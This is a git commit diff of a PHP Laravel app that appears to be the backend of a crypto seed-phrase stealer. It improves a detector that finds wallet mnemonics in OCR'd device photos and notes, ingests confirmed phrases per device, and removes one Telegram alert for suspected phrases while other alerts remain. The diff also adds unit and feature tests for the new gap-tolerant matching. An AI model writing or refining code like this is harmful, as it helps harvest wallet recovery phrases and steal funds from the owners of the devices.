feat: scan

app/Services/MnemonicDetector.php

@@ -11,6 +11,10 @@ class MnemonicDetector
 
     public const MIN_SUSPECTED = 8;
 
+    public const MIN_GAPPED_HITS = 9;
+
+    public const MAX_GAPS = 2;
+
     public const MIN_CONFIRMED = 12;
 
     public const MIN_UNIQUE = 8;
@@ -180,31 +184,45 @@ class MnemonicDetector
     {
         $n = count($tokens);
         $best = null;
-        $maxLen = min(24, $n);
-        for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
-            for ($i = 0; $i <= $n - $len; $i++) {
-                $window = array_slice($tokens, $i, $len);
-                $hits = 0;
-                foreach ($window as $word) {
-                    if ($word !== '' && isset($wordlist[$word])) {
-                        $hits++;
-                    }
-                }
-                if ($hits < self::MIN_SUSPECTED) {
-                    continue;
-                }
-                $score = ($hits * 10) - (($len - $hits) * 2);
-                if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
-                    continue;
-                }
-                $best = [
-                    'candidate' => implode(' ', $window),
-                    'word_count' => $hits,
-                    'score' => $score,
-                    'language' => 'en',
-                    'confirmed' => false,
-                ];
+        for ($i = 0; $i < $n; $i++) {
+            if ($tokens[$i] === '' || ! isset($wordlist[$tokens[$i]])) {
+                continue;
             }
+            $hits = 0;
+            $gaps = 0;
+            $end = $i;
+            for ($j = $i; $j < $n; $j++) {
+                $word = $tokens[$j];
+                if ($word !== '' && isset($wordlist[$word])) {
+                    $hits++;
+                    $end = $j;
+
+                    continue;
+                }
+                $next = $tokens[$j + 1] ?? null;
+                if ($gaps < self::MAX_GAPS && $next !== null && $next !== '' && isset($wordlist[$next])) {
+                    $gaps++;
+
+                    continue;
+                }
+                break;
+            }
+            $minHits = $gaps === 0 ? self::MIN_SUSPECTED : self::MIN_GAPPED_HITS;
+            if ($hits < $minHits) {
+                continue;
+            }
+            $window = array_slice($tokens, $i, $end - $i + 1);
+            $score = ($hits * 10) - ($gaps * 4);
+            if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
+                continue;
+            }
+            $best = [
+                'candidate' => implode(' ', $window),
+                'word_count' => $hits,
+                'score' => $score,
+                'language' => 'en',
+                'confirmed' => false,
+            ];
         }
 
         return $best;

app/Services/MnemonicScanService.php

@@ -13,7 +13,6 @@ use App\Services\Chain\Bip44;
 use App\Services\Ocr\OcrDriver;
 use App\Services\Ocr\PhotoOcrPreparer;
 use App\Support\NoteContent;
-use App\Support\WalletSource;
 use Illuminate\Support\Facades\Log;
 
 class MnemonicScanService
@@ -23,7 +22,6 @@ class MnemonicScanService
         private readonly OcrDriver $ocr,
         private readonly PhotoOcrPreparer $preparer,
         private readonly IngestService $ingest,
-        private readonly TelegramNotifier $telegram,
     ) {}
 
     public function dispatchPhoto(Photo $photo): void
@@ -281,8 +279,6 @@ class MnemonicScanService
         if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
             return;
         }
-        $wasNew = ! $row->exists;
-        $prevCandidate = $row->exists ? $row->candidate : '';
         $confirmed = $this->canIngestHit($hit);
         $row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
         $row->candidate = $hit['candidate'];
@@ -295,24 +291,11 @@ class MnemonicScanService
         }
         $row->save();
 
-        $sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
-            ? WalletSource::fromTag('album_ocr')
-            : WalletSource::fromTag('note_scan');
         if ($confirmed) {
             $this->ingest->ingestMnemonic($device, [
                 'mnemonic' => $hit['candidate'],
                 'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
             ]);
-
-            return;
-        }
-        if ($wasNew || $prevCandidate !== $hit['candidate']) {
-            $this->telegram->notifySuspectedMnemonic(
-                $device->device_id,
-                $sourceLabel,
-                $hit['candidate'],
-                (int) $hit['word_count'],
-            );
         }
     }
 

app/Services/TelegramNotifier.php

@@ -322,17 +322,6 @@ class TelegramNotifier
         ]), $deviceId);
     }
 
-    public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
-    {
-        $this->send(implode("\n", [
-            '🔎 <b>疑似助记词</b>',
-            ...$this->deviceHeader($deviceId),
-            '🏷 <b>来源</b>: '.$this->e($source ?: '—'),
-            '🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
-            '📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
-        ]), $deviceId);
-    }
-
     public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
     {
         $this->send(implode("\n", [

tests/Feature/MnemonicScanTest.php

@@ -216,6 +216,11 @@ TXT;
         $this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
         $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
         $this->assertSame(0, $device->mnemonics()->count());
+        Http::assertNotSent(function ($request) {
+            $text = (string) ($request->data()['text'] ?? '');
+
+            return str_contains($text, '疑似助记词') || str_contains($text, '新助记词');
+        });
     }
 
     #[Test]

tests/Unit/MnemonicDetectorTest.php

@@ -36,7 +36,7 @@ class MnemonicDetectorTest extends TestCase
     }
 
     #[Test]
-    public function marks_nine_hits_as_suspected_not_confirmed(): void
+    public function marks_dense_ocr_holes_as_suspected_not_confirmed(): void
     {
         $ocr = <<<'TXT'
 palance cousin endorse
@@ -52,7 +52,7 @@ TXT;
     }
 
     #[Test]
-    public function eight_hits_are_suspected(): void
+    public function eight_consecutive_hits_are_suspected(): void
     {
         $text = 'cousin endorse refuse private dog solution april picture';
         $hit = (new MnemonicDetector)->detect($text);
@@ -62,6 +62,27 @@ TXT;
         $this->assertSame(8, $hit['word_count']);
     }
 
+    #[Test]
+    public function ignores_sparse_english_prose(): void
+    {
+        $ocr = '7134 bom CA i a ating Heath Mag Daly craving If You\'re Craving Sugar '
+            .'Your body may need protein + stable blood sugar What\'s happening: Blood sugar spikes '
+            .'crash more cravings what eat instead cogs chicken';
+
+        $this->assertNull((new MnemonicDetector)->detect($ocr));
+    }
+
+    #[Test]
+    public function two_ocr_holes_with_ten_hits_are_suspected(): void
+    {
+        $ocr = 'cousin endorse refuse private dog solution puddy april picture father palance lab';
+        $hit = (new MnemonicDetector)->detect($ocr);
+
+        $this->assertNotNull($hit);
+        $this->assertFalse($hit['confirmed']);
+        $this->assertSame(10, $hit['word_count']);
+    }
+
     #[Test]
     public function ignores_repetitive_plumbing_copy(): void
     {